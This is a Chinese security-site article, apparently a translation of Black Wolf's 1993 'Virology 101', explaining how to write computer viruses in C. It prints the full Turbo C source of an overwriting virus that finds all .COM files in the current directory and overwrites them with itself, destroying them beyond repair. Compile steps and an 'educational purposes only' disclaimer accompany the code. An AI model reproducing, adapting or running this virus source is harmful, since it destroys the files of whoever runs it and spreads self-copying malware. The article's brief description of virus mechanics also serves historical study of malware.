[ 登录 ][ 注册 ] 天极传媒: 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
您现在的位置: IT专家网 > 安全子站 > 安全技巧

经典重温 C环境下的病毒编写

作者: Black Wolf,  出处:IT专家网, 责任编辑: 张帅, 
2008-10-20 11:04
  高级编程语言的产生方便了程序员编写各种各样功能强大的程序,对于病毒作者而言也是如此,本文将介绍如何在C语言环境下编写计算机病毒,本文只作技术交流。

  【IT专家网独家】C,是程序员最常用的编程语言之一。类似C等高级编程语言为开发人员提供了大量的内置函数,可以方便程序员编写各种跨平台的安心的应用编程。对于编写病毒而言,也方便了程序员来用自己擅长的语言来编写,但同时也带来了很多弊端。第一,许多高级语言的编程并不基于底层系统,即使是C也不太容易。这就导致这类的大都数病毒的传播机制十分原始(通常是通过重写来实现);另一方面的不足是,大多用高级语言编写的病毒至少有10K,然而更多是比这还更大,这对病毒来说可行不通。如此大的一个常驻内存的病毒将是不切实际的,因为当一大块内存不明不白的消失时,这很容易引起用户的注意。

  另一种用高级语言编写的是代码病毒(source-code virus)。这类病毒极其罕见,但是这类病毒是非常高效的。代码病毒的机制,简而言之,搜索同一类语言的代码文件,比如说,它可能会搜找全部以“.C”为扩展名的C文件,然后它会把自己的加到那个文件里(通常以添加一个包含此程序的头文件然后在main()函数中添加一个调用),这使病毒在编译这文件时至少执行一次。编译之后,病毒一般会隐藏在这程序里潜伏,直到找到另一个C文件。

  不管病毒采用哪种方式,所有的病毒都具有如下一些共同的基本特性:

  1.搜寻一个文件进行感染,这文件可以是可执行文件,源代码文件,或是什么都行(若没找到,则跳转到第三步)

  2.把病毒本体写入此文件

  3.检查有没可满足的触发条件

  4.返回宿主程序或是停止运行并返回到DOS

  对于重写型病毒(Overwriting Virus),它的实现方式很简单。唯一的不足是,它们会摧毁被感染的文件,这使它们很容易被发现。唯一弥补的办法是,找到所有的被感染的文件并删除它们,然后从备件那里恢复。下面这个病毒是用C写的比较简单的重写型病毒,它会感染当前目录下的所有.COM文件,然后把它们彻底删除。每当它感觉到一个文件,它会在屏幕上打印出“Infecting [FILENAME]”(感染 [文件名])警告。如果你想把它编译并测试,则首先编译它,然后用EXE2BIN把它转化成.BIN文件,之后检查它的最终大小。如果不等于9504K,则改写这行:“x=9054;”成适当的大小。它会以一种很原始的方式:删除所有的它命中.COM文件,因此得相当小心这病毒。

  代码:

      - - ------------------ Cut Here -------------------------- - -
  /* This is a simple overwriting virus programmed in Turbo C */
  /* It will infect all .COM files in the current directory */
  /* Infections destroy the programs and cannot be cured */
  /* It was presented in Virology 101 (c) 1993 Black Wolf */
  /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
  #include 
  #include 
  #include 
  FILE *Virus,*Host;
  int x,y,done;
  char buff[256];
  struct ffblk ffblk;
  main()
  {
  done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
  while (!done) /* Loop for all COM's in DIR*/
  {
  printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
  Virus=fopen(_argv[0],"rb"); /* Open infected file */
  Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
  x=9504; /* Virus size - must */
  /* be correct for the */
  /* compiler it is made */
  /* on, otherwise the */
  /* entire virus may not*/
  /* be copied!! */
  while (x>256) /* OVERWRITE new Host */
  { /* Read/Write 256 byte */
  fread(buff,256,1,Virus); /* chunks until bytes */
  fwrite(buff,256,1,Host); /* left < 256 */
  x-=256;
  }
  fread(buff,x,1,Virus); /* Finish off copy */
  fwrite(buff,x,1,Host);
  fcloseall(); /* Close both files and*/
  done = findnext(&ffblk); /* go for another one. */
  }
  /* Activation would go */
  /* here */
  return (0); /* Terminate */
  }
  - - ------------------ Cut Here --------------------------- - -

共2页。 1 2 :

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

邮件订阅


    • 解析Windows密码安全问题(第三部分)评论
      在前两部分文章中,我们讨论了Windows密码政策的问题以及它是如何在Active Directory环境被控制等问题,大家应该还记得在默认情况下密码政策和相关的设置位于默认域策略中(Default Domain Policy)。另外同样探讨了可以使用哪些技术破获windows密码,以及每种攻击方式的限制问题。那么,在本文中,我们将讨论如何让windows密码变得更加安全,以及如何能够解决在前两部分文章中出现的所有问题。本文将涉及Windows2002/2003/2008Active Directory默认安装带来的可能性以及其他能够整体提高密码安全的技术。
    • IDC创新和安全白皮书:合作或竞争评论
      业务创新是业务发展战略非常重要的一部分,并而日益成为公司保持竞争优势的决定性因素。由于创新的战略重要性,导致了我们越来越关注信息安全机制在抑制甚至扼杀业务创新方面起到的作用。IDC认为公司不仅是需要找到业务创新和有可能扼杀这种创新的信息安全机制,而且需要在这两者之间找到一个简洁的平衡来满足自己的业务需求。成功的企业能够在商业竞争中占有优势,是因为他们懂得去合理的利用两者使之成为一种具有杠杆作用的机制,而其它的企业只是单单强调其中的一个。
    • 预防企业数据丢失的6种最佳实践评论
      根据“私有权清算中心”(一家非赢利性消费者信息和倡导组织)的统计,自2005年1月以来,有将近2200万条记录遭到破坏。数据失窃和丢失案件数量惊人,这不仅是因为安全入侵事件正在以惊人的速度持续增长,数据丢失引发的财产损失事件也同样在飞速增加。根据美国政府的估计,所谓的“企业数据丢失”在去年使商业界损失了近1050亿美元。根据波尼蒙研究所(Ponemon Institute)的统计,仅仅内部人士导致的数据受损一项,每年给商业界造成的损失为平均每家公司3-4百万美元。产业分析公司Gartner集团估计,恢复数据的开销可以达到每条破坏记录150美元之高——这一数字还没有包括重拾客户信任和重建品牌价值、可能的罚款以及法律诉讼代理费的资金投入。在企业数据丢失案件有增无减的同时,公司也正在不断搜集更多数据,以求优化商业流程,改善客户服务,以及提升与合作伙伴的关系。更多的数据转化为相关数据在整个企业中数量不断增多的信息系统之间更广泛的传播。其结果就是——随着公司内外越来越多的用户获得接入系统的权限,敏感数据遭到破坏的风险也在不断增大。
    • RSA白皮书:管理银行的信息风险评论
      信息是银行的基础,但直到现在,金融机构还往往满足于以业务封闭式的方式管理风险。然而,行业的压力促使银行开始对这种战略展开思考。